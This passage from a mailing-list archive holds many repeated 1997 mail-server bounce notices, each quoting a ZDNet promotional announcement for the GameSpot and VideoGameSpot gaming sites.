>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:00 -0800 (PST)
Subject: Failed mail
Message-ID: <va219851.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id va219851; Tue, 25 Feb 1997 17:09:40 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:40 -0500
>Message-Id: <22094025345858@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:10 -0800 (PST)
Subject: Failed mail
Message-ID: <za219855.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id za219855; Tue, 25 Feb 1997 17:09:45 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:45 -0500
>Message-Id: <22094576145862@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:48 -0800 (PST)
Subject: Failed mail
Message-ID: <aa219856.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id aa219856; Tue, 25 Feb 1997 17:09:47 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:47 -0500
>Message-Id: <22094706345863@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:39 -0800 (PST)
Subject: Failed mail
Message-ID: <da219859.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id da219859; Tue, 25 Feb 1997 17:09:50 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:50 -0500
>Message-Id: <22095097845866@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:17 -0800 (PST)
Subject: Failed mail
Message-ID: <ca219858.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ca219858; Tue, 25 Feb 1997 17:09:49 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:49 -0500
>Message-Id: <22094962645865@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:20 -0800 (PST)
Subject: Failed mail
Message-ID: <ba219857.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ba219857; Tue, 25 Feb 1997 17:09:48 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:48 -0500
>Message-Id: <22094836545864@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:18 -0800 (PST)
Subject: Failed mail
Message-ID: <ga219862.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ga219862; Tue, 25 Feb 1997 17:09:55 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:54 -0500
>Message-Id: <22095495445869@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:08:59 -0800 (PST)
Subject: Failed mail
Message-ID: <ia219864.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ia219864; Tue, 25 Feb 1997 17:09:57 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:57 -0500
>Message-Id: <22095773845871@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:01 -0800 (PST)
Subject: Failed mail
Message-ID: <ea219860.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ea219860; Tue, 25 Feb 1997 17:09:52 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:52 -0500
>Message-Id: <22095235045867@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:07 -0800 (PST)
Subject: Failed mail
Message-ID: <fa219861.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id fa219861; Tue, 25 Feb 1997 17:09:53 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:53 -0500
>Message-Id: <22095365245868@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:13 -0800 (PST)
Subject: Failed mail
Message-ID: <ha219863.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ha219863; Tue, 25 Feb 1997 17:09:56 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:56 -0500
>Message-Id: <22095636645870@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:51 -0800 (PST)
Subject: Failed mail
Message-ID: <ma219868.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ma219868; Tue, 25 Feb 1997 17:10:04 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:03 -0500
>Message-Id: <22100401745875@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:10 -0800 (PST)
Subject: Failed mail
Message-ID: <ka219866.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ka219866; Tue, 25 Feb 1997 17:10:00 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:00 -0500
>Message-Id: <22100044245873@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:10:52 -0800 (PST)
Subject: Failed mail
Message-ID: <la219867.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id la219867; Tue, 25 Feb 1997 17:10:02 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:02 -0500
>Message-Id: <22100246545874@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
